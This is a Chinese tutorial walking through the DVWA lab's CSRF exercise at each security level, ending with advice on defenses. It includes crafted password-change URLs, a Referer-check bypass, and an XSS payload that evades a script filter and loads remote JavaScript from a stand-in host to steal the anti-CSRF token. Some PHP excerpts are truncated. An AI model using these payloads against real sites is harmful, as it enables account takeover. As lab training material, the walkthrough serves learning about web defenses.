这么多攻击中，CSRF 攻击，全称是 Cross Site Request Forgery，翻译过来是跨站请求伪造可谓是最防不胜防之一。比如删除一篇文章，添加一笔钱之类，如果开发者是没有考虑到会被 CSRF 攻击的，一旦被利用对公司损失很大的。
低级
界面如下，目的是实现修改密码
低级代码如下
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
功能确实是可以修改密码的。
然而 Hacker 发了一封令人惊喜的邮件给你，里面的内容是这样的。
或者是这样
只要点击进去了。密码就被改了。因为他的链接是。。。
http://192.168.0.110:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change 然后密码就被改成 123456。。。
或者链接是指向的是一个恶意网站。网站里面有一张图片，而且是打不开。但是这张图片的链接是。。。http://192.168.31.166:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
密码又被改了。
或者你会觉得造成这种问题的主要原因是用 Get 请求，用 Post 就不会了。。。Hacker 的就将网站写成这样了。
这漏洞确实是防不胜防。。。接下面看看中级代码
中级
中级代码就多了验证请求头部的来源地址（Referer），来源地址与服务器地址一致才能修改密码。而你从邮件中点击链接过来的，或者从另外网站点击的是不能修改密码。
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } } else { // Didn't come from a trusted source echo "
That request didn't look correct."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
而验证的来源地址和服务器地址是否一致的代码是这样的
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )而 stripos函数的定义 可以看这里。
假如服务器的地址是 192.168.0.110($_SERVER[ 'SERVER_NAME' ])，而恶意的网站的地址是 a.com/192.168.0.110.php($_SERVER[ 'HTTP_REFERER' ]) 。。。不就可以绕过了吗？
而 192.168.0.110.php 的内容也很简单
`php
这是不能执行的，原因是现代浏览器是不允许进行跨域请求的（前后端分离会有特定的请求头），在 a.com 上不能请求 192.168.0.110 的数据的（除了css，js之类的静态文件外）。所以要“另辟蹊径”。
也看了下《白帽子讲 Web安全》。也说如果存在 XSS 漏洞，这方案就会变无效了。。。所以这代码主要还是自己或队友的代码造成有漏洞了。。。
简要解释一下，因为高级反射型 XSS那里有个漏洞，那里能有效地去掉了 script 标签的注入，但是忽略了 img 之类的元素注入。
所以，可以往里面注入
然后要做的东西是往里面注入远程的 js 代码（test.js），test.js 的内容上面跨域的内容一样。所以问题是如何注入 '' 这样的字符串
而服务器有个正则替换<.\*s.\*c.\*r.\*i.\*p.\*t，所有含有 script 的字符都会被替换 。直接在onerror函数中注入代码是可以的，但是有点痛苦，因为要躲开这个正则替换。所以可以用点取巧的方式,onerror里面的内容是eval(unescape(location.hash.substr(1)))，其中location.hash是 url 中 # 后面的内容（一般是前端框架用来做路由，且没有长度限制），就是要注入的 js 的内容了。
点击下面这个链接，就可以绕过 anti-token 机制改掉密码。。。
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20οnerrοr=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s)
哈希路由后面的代码
d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','//www.a.com/test.js');
h.appendChild(s);意思是在 head 的标签下添加个 ''
不可能
和高级相比，不可能级别会要求检查原密码，就算有 XSS 漏洞也要知道原密码才能修改，而且代码中用了 $db->prepare 的写法防止 SQL 的注入。这样安全多了。
prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?> 最后
dvwa 中防御 CSRF 攻击主要是通过验证 Referer 头和设置 anti-token 的方式。而不可能级别的还会要求验证原密码。 而 referer check 缺陷在于，服务器并非什么时候都能取得 referer。很多时候用户出于隐私保护的考虑，限制了 Referer 的发送。某些情况下，浏览器也不会发送 Referer，比如从 HTTPS 跳转到 HTTP，出于安全的考虑，浏览器也不会发送 Referer（《白帽子讲Web安全》）
而一般用 anti-token 机制就能很好地防御了。
如果有验证码的存在，也能提高攻击的难度。
现在的网站重置密码也不会这样直接重置了，基本也会发一个有待 token 的 url 邮件或者手机短信验证码吧